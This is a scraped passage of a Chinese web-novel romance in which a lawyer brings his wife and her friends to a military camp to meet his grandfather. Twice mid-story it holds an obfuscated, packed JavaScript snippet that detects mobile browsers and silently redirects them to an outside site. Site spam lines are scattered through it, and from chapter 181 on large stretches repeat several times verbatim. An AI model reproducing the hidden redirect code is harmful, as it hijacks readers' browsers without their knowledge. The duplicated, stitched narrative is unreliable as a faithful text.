丁予期手上动作还是没停,笑微微的说:“那你得问宋凝才行。” 丁予期用云淡风轻的语气说。 若是别人说这话,唐婷必然会怀疑对方是在吹牛,但说话的人是丁予期就不一样了,她知道他是真有能力做到这件事,连连点头道:“我随时都有时间,我们什么时候可以去?” 丁予期清了清嗓子。 唐婷心领神会,立刻保证道:“你放心,别说是男人了,我以后连公蚊子都不给阿凝介绍,你这下能放心了吧?” 丁予期不仅是放心了,答应的也很痛快,立刻就打电话去帮忙安排了。 只是军营毕竟不是别的地方,想进去还是得花些时间走手续,等审批才行,短则三五天,长则十天半个月。 幸好此时距离唐婷试戏还有很长一段时间,这件事是真的不急。 当天中午,昨晚熬夜修照片的祝如星也来了, 她睡了个懒觉,不知道上午都发生过什么,精神头瞧着都更饱满,等到了中午一起聚餐时,话匣子都开的比其他人更快。 “我这次一定要好好放个假,你们是不知道,我之前遇到多难搞的一对新人,让我差点绝望到远离这一行,幸好昨天遇到的这对新人特别好,不然婚庆行业恐怕要失去冉冉升起的新星。” 唐婷好奇的问:“能有多难搞?我先积攒一下经验,说不定以后在都市剧里演奇葩的时候能用上。” 祝如星滔滔不绝的讲了很多,说到动情处还给她们展示起了自己拍的照片:“你们看,这能怪我么?新郎本来就长得跟河童一样,就算我再努力做后期,也不可能把八戒给变成天蓬元帅!” 这个形容引得宋凝和唐婷都忍不住发笑,后者更是接过话茬,吐槽起了她在剧组里的类似遭遇:“唉,这样的人到处都是,我们剧组前阵子空降的资源咖也是个奇葩。” “能有我遇到的这对新人奇葩?” “我看他们是势均力敌,这个资源咖是靠金主上位的,之前压根没演过戏,现在一来就要改剧本加戏份,要不是我的戏份都快拍完了,早就不忍气吞声了……” 闺蜜三人聊的投入,一边叽叽喳喳的说话,一边分享着彼此喜欢的事物,脸上都是笑容。 丁予期虽然就坐在旁边,可是很有眼力见的没参与进去,他就只是沉默着给宋凝剥虾。 北极甜虾个头小,壳没有那么好剥,是件既费力气,又会把指甲弄脏的细致活儿,可他自从发现宋凝爱吃,便默默练出了一门剥虾的好手艺。 宋凝面前的餐盘里很快就堆起了一小堆剥好的虾仁,她说几句就吃一个,等意识到她吃的比先前剥的还多时,已经快把他给她剥的虾都吃完了,不禁略有心虚的看了过去。 “你看我做什么?”丁予期感到好笑似的说了句,同时手底下的动作压根就没停,温声对她解释道,“这些本来就是给你剥的,医生说过,回来后要多补充营养才行,虾是高蛋白。” 唐婷和祝如星见他对宋凝如此关切,当即交换起了八卦的目光,是都觉得他们的感情比预想中还要来得更好。 宋凝**的嘴软,总不能这就否认丁予期的名分,只能是装作看不见了。 几个人聊的高兴,很快就讲到了唐婷为了演好狙击手要去军营实地观摩的事。 这让祝如星立马也来了兴致,连忙问丁予期:“丁总啊,我能不能一起去?其实我是个军迷来着,就想亲眼看看。” 丁予期手上动作还是没停,笑微微的说:“那你得问宋凝才行。” 第一百七十九章 已婚人士 宋凝对顿时怔住:“问我?我能做主么?” 她当然是愿意带朋友一起去参观的,但问题在于军营不是想去就能去的景点,先前丁予期已经打电话申请过了,再加一个人的话真的可以么? 丁予期认真点头:“当然。” 宋凝见他表现的如此平淡,仿佛他们要去的不是军营而是楼下菜市场,好奇道:“真的没问题么?” 部队是涉密单位,万一有针对参观人员的相关规定,多一个人或者少一个人都会变成大问题吧? 可丁予期完全没把这事放在心上,平淡道:“我已经跟外公打过招呼了,说到时候会带朋友一起去探望他,这是符合规定的,你们尽管放心去,不要拍照就可以。对了,大拿也会一起去。” 唐婷和祝如星不了解大拿的水平,但宋凝却是眼前一亮:“大拿已经恢复好了么?我还想着再去医院探望他来着。” 丁予期温声解释:“还没有,不过我问过医生了,他状况很稳定,至多再过一周就能出院,刚好我跟外公申请的探亲日期也在一周后。” 去军营现场观摩的日子就这样定了下来。 一周后的上午,丁予期亲自带着结束休养的宋凝去医院接大拿出面,刚见面就忍不住调侃了对方一句:“看来医院里的伙食不错啊。” 大拿瞧着比入院接受治疗还胖了一点,得亏身体底子够健壮,瞧着才不至于像发福,他抬了下胳膊,做出展示肌肉的动作道:“是啊,谁让老姚把看家的本领都拿出来了呢。” 这阵子他们之中就数老姚的日子最清闲,于是给他这个单身汉送病号餐的任务便理所当然的落到他身上去了。 宋凝好奇的忽闪起了眼睛:“老姚的看家本领跟大拿发胖有什么关系?” 丁予期言简意赅道:“老姚最擅长的就是养猪。” 合着大拿这是在自我调侃,他倒是个开得起玩笑的。 宋凝生怕笑出声会显得礼貌,连忙往自己胳膊上猛掐了一把,可就在对上丁予期的目光时,她没来由的想起了先前同他斗嘴时提起过的《养猪十大技巧》。 现在看来这还真不一定是他瞎说的,而是真正存在的参考书籍。 丁予期不知是猜到了宋凝心中所想,还是刚巧也想起了这件事,含着笑意调侃:“你倒是提醒我了,总买书是没用的,我应该再找老姚取经,让他告诉我该怎么养。” 宋凝顿时又把后面提到的那本《母猪的产后护理》给想起来了,脸上浮起红晕的同时,气恼的不肯再搭理他了, 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 直到回去酒店接唐婷和祝如星时才缓和了态度,是不想被她们看出别扭来。 唐婷和祝如星休假的这一阵穷极无聊,最常做的事就是八卦宋凝和丁予期的进展,见此情景马上很有眼力见的表示:“老姚的车看起来特别新,我从前没体验过,就坐他的车吧。” 老姚如何能看不出这里面的猫腻,自然是特别欢迎她们过来跟他作伴。 丁予期因此得了跟宋凝独处的空间,更是高兴还来不及呢,自然不会劝阻。 他只用最快的速度把女生们的行李都抬进了后备箱,是生怕她们两个反悔。 出发后的路况顺畅无比。 祝如星眼见车窗外的景色越来越荒凉,知道是就快到驻地了,提前做好了下车接受盘查的准备,可丁予期却直接把车开了进去。 大拿望见后视镜里两张写满了困惑的脸,耐心的解释道:“丁儿是这里的常客,来的次数多了,警卫员都认识他。” 这样的人自然是不需要接受盘查的,也难怪会格外的畅通无阻了。 祝如星还是第一次见到这样的场景,啧啧称奇道:“还是朝里有人好办事啊。” 老姚笑嘻嘻的接话:“这可不是办事,是让老爷子有机会见一下她心心念念的外孙媳妇,不然他老人家那么忙,还不知道什么时候能出去呢。” 他开车速度绝对不慢,可当他把车开到营地里的宿舍区时,丁予期和宋凝已经在这里了。 丁予期抬手指了指不远处的一栋楼说:“你们也看到了,那边就是女宿舍了,因为男兵是女兵的好几倍,所以宿舍楼难免会小些,不过里面的条件还好,不如我带大家进去看看?” 宋凝点了头。 唐婷和祝如星面面相觑,半晌才发现过来周围竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226407|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就真的只有面前这栋楼是女宿舍,不禁对住宿环境感到一阵担忧,直到走进去才感觉好些。 军营女宿舍的布置跟大学宿舍的布置差不多,不过房间都是双人间,相比之下更加宽敞。 丁予期进门后先习惯性的检查了一遍卫生,见房间早就被提前打扫过了,叮嘱道:“这里的条件跟酒店没法比,如果你们有什么需要就尽管告诉我,我会随时帮你们解决。” 他说这话时,手里还拎着属于三个女孩们的行李,安慰道:“不过你们放心,卫生环境之类的标准还是没问题的。” 唐婷不挑,对这里还是挺满意的,点点头表示:“我能来就已经很感谢你的安排了,怎么还会挑三拣四?” 祝如星跟着点头:“是,而且我 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 看这环境也不算差,大学宿舍最少得住四个人,这里是双人间,就两个人。” 这话提醒了一直好奇打量周围的宋凝,她愕然道:“等一下,双人间的话,我住哪儿?另外再收拾一间宿舍的话未免浪费,不如……” 话说到一半,她对上了丁予期笑而不语的神情,恍然大悟的同时收了声。 祝如星笑着调侃:“你是已婚人士,怎么能跟我们一样?” 唐婷也跟着附和:“是啊,你老公就在这里,你们当然是要住一起了。” 两人说的宋凝一阵尴尬。 丁予期刚想带着宋凝回到他们的住处看一眼,手机铃声先响了起来,他只好接了起来。 外公爽朗健谈的声音在耳畔响起:“你跟我孙媳妇已经到了吧?快,把人带来给我看看,别藏着了……” 他老人家在军营待了一辈子,说话做事都直来直去,这次更是盼的望眼欲穿。 宋凝见他这样期待跟她见面,则是很局促不已,等丁予期挂了电话便说:“你稍等,我去个妆换个衣服。” 毕竟是第一次跟长辈见面她希望能给对方留下个好印象。 丁予期连忙阻止道:“没这个必要,我外公在这里看了一辈子的迷彩服,你穿什么都不会失礼的,况且你本来就好看,他见了一定喜欢。” 第一百八十章 你又不丑,怕什么? 宋凝一直都是个爽利人可今天却是不知道怎么搞的难得拖泥带水起来道:“可是……” “哪儿有什么可是啊?咱们来都来了大大方方的!”祝如星挽住她右臂同时左手握拳作鼓励状表示“你想想看伸脖子是一刀缩脖子也是一刀咱们来都来了不如搏一把!” 唐婷顺势挽住她左臂:“没错不是有句话叫丑媳妇也要见公婆么?你又不丑怕什么?” 两人你一言我一句说的宋凝更紧张了。 她想说这不是丑不丑的问题但却架不住双拳难敌四手硬是被她们两个从这间宿舍里架出去了。 丁予期没掺和她们女孩子间的嬉闹见目光落到自己身上来了立刻很有眼力见的抬手作妥协状:“好了不用你们费心我马上就走还不行么?” 他走的利落不等宋凝反应过来就已经跟她一起站在走廊里了。 宋凝哑然失笑:“现在该怎么办?” 丁予期一手抄在口袋里一手往前指了指 他没把她一起牵连进去不过她还是领会到了话里的潜台词好奇又不失担忧的问:你外公脾气不好么?” 说这话时她忘了用代称乍一听就像是她已经成了他们家的人认他陈老爷子是陈老爷子了一样。 丁予期听的心花怒放却又不敢提醒她生怕她意识到失言后会改口强行按捺住欣喜的心情转而摆出略有担忧的模样道:“他在我面前是很严厉的但是对你……” 他微微轻笑了一下没说什么。 话里留有充分的余地就算到时候被宋凝发现货不对板也能找补回来。 宋凝关心则乱压根没往称呼上想而是叹了口气道:“那你还是尽快带我过去一趟吧反正迟早都是要去的去的早总比去的晚要好。” 两人的脚步声渐渐远去。 一门之隔的宿舍里祝如星和唐婷正紧贴在门板上偷听直到脚步声彻底消失才满脸兴奋的击掌道:“太好了!这下他们两个肯定能有进展!” 唐婷笑的也很开心:“是啊这两天我也观察过了这个丁予期虽然有时候嘴巴刻薄一点但对喜欢的人确实是够好的最要紧的是我看的出来他是真心喜欢宋凝的不像某些人。” 傅东擎在她们姐妹三人这里已经被剥夺了姓名权提起来就是一句颇为鄙夷的某些人。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 祝如星深以为然:“谁说不是呢,我这个人比较现实,相比于爱情,我更愿意选面包。丁予期出手够大方,肯定不会再贪图宋凝什么,而且还能让我们跟着一起吃肉,怎么看都算是好事吧。” 丁予期不仅在见面礼上出手大方,照顾起心上人的好朋友来更是毫不吝啬,又是送卫斯理酒店的终生免费入住会员卡,又是给她们揽活儿和提供现场观摩的机会,怎么看都太靠谱了。 相比之下,傅东擎何止是不配跟他相提并论,根本就是个混账玩意儿。 唐婷拿人的手软,先表示过赞同,然后才说起了内心隐秘的担忧:“他这个人确实是哪里都好,不过……他好像有点虚啊。” 她一想起那天早上在房间里见到的丁予期的疲态就没法不多想。 祝如星嗅到八卦的气息,连忙询问起自己错过的内容,与此同时,丁予期则是跟宋凝一前一后的进了军区办公楼。 丁予期感到好笑似的在楼门前停住步子:“怎么忽然不走了?” 宋凝走的一步一挪,听见他的话后勉强平复了心情道:“我没有不走,只是……有点紧张,需要做一下准备工作。” 说着,她接连深呼吸了好几口。 丁予期停住步子等着她缓和情绪,面带微笑的揶揄了一句:“我记得你从前见傅东擎的父母时可是心理素质好得很,一整个嚣张跋扈,嘴上不饶人的女中豪杰,这次见我陈老爷子一个,别紧张。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226408|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你说的轻巧。”宋凝也不知道自己为什么会紧张成这样,索性先不提这一茬了,向前一步道,“我们进去吧!” 丁予期见了她这副要去就义般的神情,先是忍不住笑,随后却是上前握住了她的手:“有我在,陈老爷子就算再严肃也只会说我一个,你不必担心。” 这话算是给宋凝吃了颗定心丸。 两人手牵手去到办公室门外,结果却是扑了个空,里面压根就没人在。 守在这里的警卫员跟丁予期很熟悉,上前告知道:“陈**有训练任务,已经去到操场了,他走之前交代过,说如果你带着女孩子过来,就让你们直接过去。” 宋凝的心理建设算是白做了,说完“谢谢”便显出了魂不守舍的模样。 警卫员见状,关切的问了句:“你是不是哪里不舒服?陈**虽然说了让你们直接过去,但先找个地方休息一会儿也没关系,反正最近天气热,容易中暑。” 不等丁予期开口,宋凝先把脑袋摇成了拨浪鼓:“不用了。” 虽说早死晚死都是死,但等死的感觉毕竟还是可怕多了,她宁可现在就往操场去亲眼目睹丁予期陈老爷子的严厉,也绝对不想再忐忑下去了。 丁予期了解自家陈老爷子的性子,他笑而不语,只再次牵起宋凝的手,跟她一起往操场去了,边走还边跟她介绍这里的布局:“军区里有独立的生活设施,那边是食堂和超市,那边是图书馆……” 话说到一半,他察觉到宋凝的身形一顿,跟着停下步子看了过去,然后便跟着瞳孔地震,也怔在了当场。 只见不远处的开阔空地上,正有一队打赤膊的年轻士兵在训练,他们一个赛一个的身强体壮也就算了,被午后的阳光一照,线条清晰的肌肉连轮廓都在散发雄性荷尔蒙,冲击力特别强。 宋凝何曾见到这种阵仗,整个人都像是被他们所喊的震天响的口号给冲晕了,愣愣的不知道要挪开目光了。 第一百八十一章 姜还是老的辣 直到一只宽厚温暖的手遮在她眼前。 丁予期话音里满是浓烈到快要溢出来的醋味,他幽幽的说了句:“你要是喜欢看这个,等完全回去我脱给你看。” 他的身材没有这么夸张,可小麦色的皮肤和有线条但却不夸张的肌肉别有一番风味。 宋凝方才还只是耳根微微有些泛红,等听到这话立刻就从脸颊到后颈全都红透了,看起来简直像煮熟的番茄,嗫喏着说:“我没想看……” “那我们现在去见陈老爷子。”丁予期忙不迭的拉着她离开了,这次一鼓作气的直奔操场,一句废话都没多讲。 两人在操场边缘的树荫下见到了被其他人称为陈**的陈老爷子。 这是宋凝第一次见到这位老人家,她自认为做心理建设的时间已经够长了,可等亲眼看到对方威严十足的打扮,还是下意识的站起了军姿,仿佛她又回到了学生时代,今天是来军训的。 外公陈景堂并不年轻了,两鬓斑白,眉宇间也有无法忽略的皱纹,但神情非常的板正,看起来跟她在军旅电视剧里见到的**颇为相似。 宋凝硬着头皮想跟对方打个招呼,心里想的是陈**,结果一开口却叫了句:“……外公。” 话音未落,她已经是后悔了,却架不住陈景堂表情变得更快,笑容满面的说:“小丫头,不记得我了?” 宋凝顿时感觉这个声音无比熟悉,好像是在哪里见到过的。 再看陈老爷子本人,虽然头发有些灰白,但是打理的很整齐,一丝不苟的。 一身墨绿色的挺括西装,整个人鹤发童颜精神矍铄,身形挺拔高大,很有威严。 但是这个声音…… 宋凝突然感觉脑子有点晕。 这不是苏菲家里的花匠爷爷么…… “爷爷,您怎么……” 陈老爷子眯着眼睛慈爱地笑着:“上次在苏家见面,你叫爷爷也就算了,现在你都跟这个臭小子领证了,还是跟着他一起叫陈老爷子的好。” 宋凝仍旧在震惊中,一时不知道该怎么开口。 陈老爷子呵呵笑:“没关系,你慢慢适应就是了,随便叫什么都行。你在这里别拘束,需要什么使唤这个臭小子就行。” 丁予期轻笑道:“您放心,人是我带来的,当然会照顾好她。” “这还差不多。”陈景堂对他的态度还算满意,又转过脸去对宋凝温声道,“你是第一次来这里,难免会有不熟悉的地方,但他从前在这里待了好几年,你直接把他当狗使唤就 行,别手软。” 话是好话,就是热情的让宋凝险些招架不住。 她满心迷茫的一边点头一边想,这也能叫为人严肃么?是不是哪里误会了? 丁予期见宋凝露出傻眼的表情,却是**以为常的应声,还带着几分调笑:“外公,我如果是狗,那您是什么?” 陈老爷子呵呵:“我是你外公。” 丁予期:“……” 宋凝忍俊不禁。 果然姜还是老的辣,丁予期这个毒舌律师,还得老爷子治他。 宋凝回过神来莞尔一笑,是忽然有点明白这爷孙俩的相处模式了。 而陈景堂见自家小辈的同时也没忘了自己的正事,对丁予期吩咐道:“你来都来了,也别闲着,顺便跟他们一起去训练吧。” 他顺着正有士兵在操练的空地一指,然后和颜悦色的对宋凝说:“你跟我一起去旁边屋子里休息一会儿,别晒着了,最近天气热,女孩子就该照顾好自己。” 这变脸的速度未免太快了。 宋凝满头雾水的跟了过去,见陈老爷子要带她进的是旁边的休息室,不禁有点犹豫:“这合适么?” 这好像是军区**休息的地方。 陈老爷子和颜悦色的表示:“来者是客,没什么不合适的,再说了你是来探亲的,哪里有让群众在大太阳底下一起晒着的道理。” 宋凝想说丁予期现在好像也是群众,可话到嘴边忽然想起丁予期都没意见的事,她一个人外人何必多话?当即又把话咽了回去。 休息室不大,但是麻雀虽小,五脏俱全,还有一扇齐桌高的窗户能让人看清外面操场上的场景,显然就是为了观看外面的训练设计的。 陈老爷子见宋凝坐定,对这里还算适应,于是对随行的人员交代道:“有客人来就别等着了,去,炊事班这会儿都还在准备晚上的食材,去看看有没有什么好吃的解暑的,去弄点过来。” “是!”随行人员敬礼答应,然后一路小跑着离开了。 宋凝原本就感到受宠若惊,这时慌忙起身阻拦:“那个,外公,这就不必麻烦了吧!我不饿,也不渴!” 陈老爷子连连摆手:“一点也不麻烦,就算你不来,待会儿也得去炊事班给这帮小伙子拉解暑的西瓜和绿豆汤回来,顺便的事。” 他都这么说了,宋凝只能是强迫自己坐了回去,然后为了缓解内心的局促,侧目往外看去,结果非但没起到效果,反而让刚降温没几分钟的面颊再次开始发烫。 许是因为要入乡随俗的缘故,丁予期是自觉摘掉手表之类的配饰,又把上衣也给脱去,然后才跟其他训练中的士兵一样站到了操场上。 宋凝先前就见过他打赤膊的模样,其实是不至于对他的身材感到太惊讶的,可白天和晚上毕竟不一样,尤其现在他身边还多出了这么多对照组。 如果说这是一场男色盛宴,那丁予期就是这桌大餐里最合她胃口的那道菜。 丁予期脱离军营生活有许多年了,不过从未疏于锻炼,仍旧是穿衣显瘦,脱衣有肉的好身材,哪怕跟这么多比他更年轻的士兵站在一起也丝毫不显得逊色。 宋凝鼻端一热,觉得自己不能再看下去了,可表现在行动上还是慢了半拍。 陈老爷子见她对这些训练有几分兴趣,和蔼的跟她介绍起了今天的训练内容:“我现在带的这些孩子们不全都是新兵,也有跟丁予期同期的老部下,他们觉得这里适合发展,一直都没有离开。” 行,别手软。” 话是好话,就是热情的让宋凝险些招架不住。 她满心迷茫的一边点头一边想,这也能叫为人严肃么?是不是哪里误会了? 丁予期见宋凝露出傻眼的表情,却是**以为常的应声,还带着几分调笑:“外公,我如果是狗,那您是什么?” 陈老爷子呵呵:“我是你外公。” 丁予期:“……” 宋凝忍俊不禁。 果然姜还是老的辣,丁予期这个毒舌律师,还得老爷子治他。 宋凝回过神来莞尔一笑,是忽然有点明白这爷孙俩的相处模式了。 而陈景堂见自家小辈的同时也没忘了自己的正事,对丁予期吩咐道:“你来都来了,也别闲着,顺便跟他们一起去训练吧。” 他顺着正有士兵在操练的空地一指,然后和颜悦色的对宋凝说:“你跟我一起去旁边屋子里休息一会儿,别晒着了,最近天气热,女孩子就该照顾好自己。” 这变脸的速度未免太快了。 宋凝满头雾水的跟了过去,见陈老爷子要带她进的是旁边的休息室,不禁有点犹豫:“这合适么?” 这好像是军区**休息的地方。 陈老爷子和颜悦色的表示:“来者是客,没什么不合适的,再说了你是来探亲的,哪里有让群众在大太阳底下一起晒着的道理。” 宋凝想说丁予期现在好像也是群众,可话到嘴边忽然想起丁予期都没意见的事,她一个人外人何必多话?当即又把话咽了回去。 休息室不大,但是麻雀虽小,五脏俱全,还有一扇齐桌高的窗户能让人看清外面操场上的场景,显然就是为了观看外面的训练设计的。 陈老爷子见宋凝坐定,对这里还算适应,于是对随行的人员交代道:“有客人来就别等着了,去,炊事班这会儿都还在准备晚上的食材,去看看有没有什么好吃的解暑的,去弄点过来。” “是!”随行人员敬礼答应,然后一路小跑着离开了。 宋凝原本就感到受宠若惊,这时慌忙起身阻拦:“那个,外公,这就不必麻烦了吧!我不饿,也不渴!” 陈老爷子连连摆手:“一点也不麻烦,就算你不来,待会儿也得去炊事班给这帮小伙子拉解暑的西瓜和绿豆汤回来,顺便的事。” 他都这么说了,宋凝只能是强迫自己坐了回去,然后为了缓解内心的局促,侧目往外看去,结果非但没起到效果,反而让刚降温没几分钟的面颊再次开始发烫。 许是因为要入乡随俗的缘故,丁予期是自觉摘掉手表之类的配饰,又把上衣也给脱去,然后才跟其他训练中的士兵一样站到了操场上。 宋凝先前就见过他打赤膊的模样,其实是不至于对他的身材感到太惊讶的,可白天和晚上毕竟不一样,尤其现在他身边还多出了这么多对照组。 如果说这是一场男色盛宴,那丁予期就是这桌大餐里最合她胃口的那道菜。 丁予期脱离军营生活有许多年了,不过从未疏于锻炼,仍旧是穿衣显瘦,脱衣有肉的好身材,哪怕跟这么多比他更年轻的士兵站在一起也丝毫不显得逊色。 宋凝鼻端一热,觉得自己不能再看下去了,可表现在行动上还是慢了半拍。 陈老爷子见她对这些训练有几分兴趣,和蔼的跟她介绍起了今天的训练内容:“我现在带的这些孩子们不全都是新兵,也有跟丁予期同期的老部下,他们觉得这里适合发展,一直都没有离开。” 行,别手软。” 话是好话,就是热情的让宋凝险些招架不住。 她满心迷茫的一边点头一边想,这也能叫为人严肃么?是不是哪里误会了? 丁予期见宋凝露出傻眼的表情,却是**以为常的应声,还带着几分调笑:“外公,我如果是狗,那您是什么?” 陈老爷子呵呵:“我是你外公。” 丁予期:“……” 宋凝忍俊不禁。 果然姜还是老的辣,丁予期这个毒舌律师,还得老爷子治他。 宋凝回过神来莞尔一笑,是忽然有点明白这爷孙俩的相处模式了。 而陈景堂见自家小辈的同时也没忘了自己的正事,对丁予期吩咐道:“你来都来了,也别闲着,顺便跟他们一起去训练吧。” 他顺着正有士兵在操练的空地一指,然后和颜悦色的对宋凝说:“你跟我一起去旁边屋子里休息一会儿,别晒着了,最近天气热,女孩子就该照顾好自己。” 这变脸的速度未免太快了。 宋凝满头雾水的跟了过去,见陈老爷子要带她进的是旁边的休息室,不禁有点犹豫:“这合适么?” 这好像是军区**休息的地方。 陈老爷子和颜悦色的表示:“来者是客,没什么不合适的,再说了你是来探亲的,哪里有让群众在大太阳底下一起晒着的道理。” 宋凝想说丁予期现在好像也是群众,可话到嘴边忽然想起丁予期都没意见的事,她一个人外人何必多话?当即又把话咽了回去。 休息室不大,但是麻雀虽小,五脏俱全,还有一扇齐桌高的窗户能让人看清外面操场上的场景,显然就是为了观看外面的训练设计的。 陈老爷子见宋凝坐定,对这里还算适应,于是对随行的人员交代道:“有客人来就别等着了,去,炊事班这会儿都还在准备晚上的食材,去看看有没有什么好吃的解暑的,去弄点过来。” “是!”随行人员敬礼答应,然后一路小跑着离开了。 宋凝原本就感到受宠若惊,这时慌忙起身阻拦:“那个,外公,这就不必麻烦了吧!我不饿,也不渴!” 陈老爷子连连摆手:“一点也不麻烦,就算你不来,待会儿也得去炊事班给这帮小伙子拉解暑的西瓜和绿豆汤回来,顺便的事。” 他都这么说了,宋凝只能是强迫自己坐了回去,然后为了缓解内心的局促,侧目往外看去,结果非但没起到效果,反而让刚降温没几分钟的面颊再次开始发烫。 许是因为要入乡随俗的缘故,丁予期是自觉摘掉手表之类的配饰,又把上衣也给脱去,然后才跟其他训练中的士兵一样站到了操场上。 宋凝先前就见过他打赤膊的模样,其实是不至于对他的身材感到太惊讶的,可白天和晚上毕竟不一样,尤其现在他身边还多出了这么多对照组。 如果说这是一场男色盛宴,那丁予期就是这桌大餐里最合她胃口的那道菜。 丁予期脱离军营生活有许多年了,不过从未疏于锻炼,仍旧是穿衣显瘦,脱衣有肉的好身材,哪怕跟这么多比他更年轻的士兵站在一起也丝毫不显得逊色。 宋凝鼻端一热,觉得自己不能再看下去了,可表现在行动上还是慢了半拍。 陈老爷子见她对这些训练有几分兴趣,和蔼的跟她介绍起了今天的训练内容:“我现在带的这些孩子们不全都是新兵,也有跟丁予期同期的老部下,他们觉得这里适合发展,一直都没有离开。” 行,别手软。” 话是好话,就是热情的让宋凝险些招架不住。 她满心迷茫的一边点头一边想,这也能叫为人严肃么?是不是哪里误会了? 丁予期见宋凝露出傻眼的表情,却是**以为常的应声,还带着几分调笑:“外公,我如果是狗,那您是什么?” 陈老爷子呵呵:“我是你外公。” 丁予期:“……” 宋凝忍俊不禁。 果然姜还是老的辣,丁予期这个毒舌律师,还得老爷子治他。 宋凝回过神来莞尔一笑,是忽然有点明白这爷孙俩的相处模式了。 而陈景堂见自家小辈的同时也没忘了自己的正事,对丁予期吩咐道:“你来都来了,也别闲着,顺便跟他们一起去训练吧。” 他顺着正有士兵在操练的空地一指,然后和颜悦色的对宋凝说:“你跟我一起去旁边屋子里休息一会儿,别晒着了,最近天气热,女孩子就该照顾好自己。” 这变脸的速度未免太快了。 宋凝满头雾水的跟了过去,见陈老爷子要带她进的是旁边的休息室,不禁有点犹豫:“这合适么?” 这好像是军区**休息的地方。 陈老爷子和颜悦色的表示:“来者是客,没什么不合适的,再说了你是来探亲的,哪里有让群众在大太阳底下一起晒着的道理。” 宋凝想说丁予期现在好像也是群众,可话到嘴边忽然想起丁予期都没意见的事,她一个人外人何必多话?当即又把话咽了回去。 休息室不大,但是麻雀虽小,五脏俱全,还有一扇齐桌高的窗户能让人看清外面操场上的场景,显然就是为了观看外面的训练设计的。 陈老爷子见宋凝坐定,对这里还算适应,于是对随行的人员交代道:“有客人来就别等着了,去,炊事班这会儿都还在准备晚上的食材,去看看有没有什么好吃的解暑的,去弄点过来。” “是!”随行人员敬礼答应,然后一路小跑着离开了。 宋凝原本就感到受宠若惊,这时慌忙起身阻拦:“那个,外公,这就不必麻烦了吧!我不饿,也不渴!” 陈老爷子连连摆手:“一点也不麻烦,就算你不来,待会儿也得去炊事班给这帮小伙子拉解暑的西瓜和绿豆汤回来,顺便的事。” 他都这么说了,宋凝只能是强迫自己坐了回去,然后为了缓解内心的局促,侧目往外看去,结果非但没起到效果,反而让刚降温没几分钟的面颊再次开始发烫。 许是因为要入乡随俗的缘故,丁予期是自觉摘掉手表之类的配饰,又把上衣也给脱去,然后才跟其他训练中的士兵一样站到了操场上。 宋凝先前就见过他打赤膊的模样,其实是不至于对他的身材感到太惊讶的,可白天和晚上毕竟不一样,尤其现在他身边还多出了这么多对照组。 如果说这是一场男色盛宴,那丁予期就是这桌大餐里最合她胃口的那道菜。 丁予期脱离军营生活有许多年了,不过从未疏于锻炼,仍旧是穿衣显瘦,脱衣有肉的好身材,哪怕跟这么多比他更年轻的士兵站在一起也丝毫不显得逊色。 宋凝鼻端一热,觉得自己不能再看下去了,可表现在行动上还是慢了半拍。 陈老爷子见她对这些训练有几分兴趣,和蔼的跟她介绍起了今天的训练内容:“我现在带的这些孩子们不全都是新兵,也有跟丁予期同期的老部下,他们觉得这里适合发展,一直都没有离开。” 行,别手软。” 话是好话,就是热情的让宋凝险些招架不住。 她满心迷茫的一边点头一边想,这也能叫为人严肃么?是不是哪里误会了? 丁予期见宋凝露出傻眼的表情,却是**以为常的应声,还带着几分调笑:“外公,我如果是狗,那您是什么?” 陈老爷子呵呵:“我是你外公。” 丁予期:“……” 宋凝忍俊不禁。 果然姜还是老的辣,丁予期这个毒舌律师,还得老爷子治他。 宋凝回过神来莞尔一笑,是忽然有点明白这爷孙俩的相处模式了。 而陈景堂见自家小辈的同时也没忘了自己的正事,对丁予期吩咐道:“你来都来了,也别闲着,顺便跟他们一起去训练吧。” 他顺着正有士兵在操练的空地一指,然后和颜悦色的对宋凝说:“你跟我一起去旁边屋子里休息一会儿,别晒着了,最近天气热,女孩子就该照顾好自己。” 这变脸的速度未免太快了。 宋凝满头雾水的跟了过去,见陈老爷子要带她进的是旁边的休息室,不禁有点犹豫:“这合适么?” 这好像是军区**休息的地方。 陈老爷子和颜悦色的表示:“来者是客,没什么不合适的,再说了你是来探亲的,哪里有让群众在大太阳底下一起晒着的道理。” 宋凝想说丁予期现在好像也是群众,可话到嘴边忽然想起丁予期都没意见的事,她一个人外人何必多话?当即又把话咽了回去。 休息室不大,但是麻雀虽小,五脏俱全,还有一扇齐桌高的窗户能让人看清外面操场上的场景,显然就是为了观看外面的训练设计的。 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陈老爷子连连摆手:“一点也不麻烦,就算你不来,待会儿也得去炊事班给这帮小伙子拉解暑的西瓜和绿豆汤回来,顺便的事。” 他都这么说了,宋凝只能是强迫自己坐了回去,然后为了缓解内心的局促,侧目往外看去,结果非但没起到效果,反而让刚降温没几分钟的面颊再次开始发烫。 许是因为要入乡随俗的缘故,丁予期是自觉摘掉手表之类的配饰,又把上衣也给脱去,然后才跟其他训练中的士兵一样站到了操场上。 宋凝先前就见过他打赤膊的模样,其实是不至于对他的身材感到太惊讶的,可白天和晚上毕竟不一样,尤其现在他身边还多出了这么多对照组。 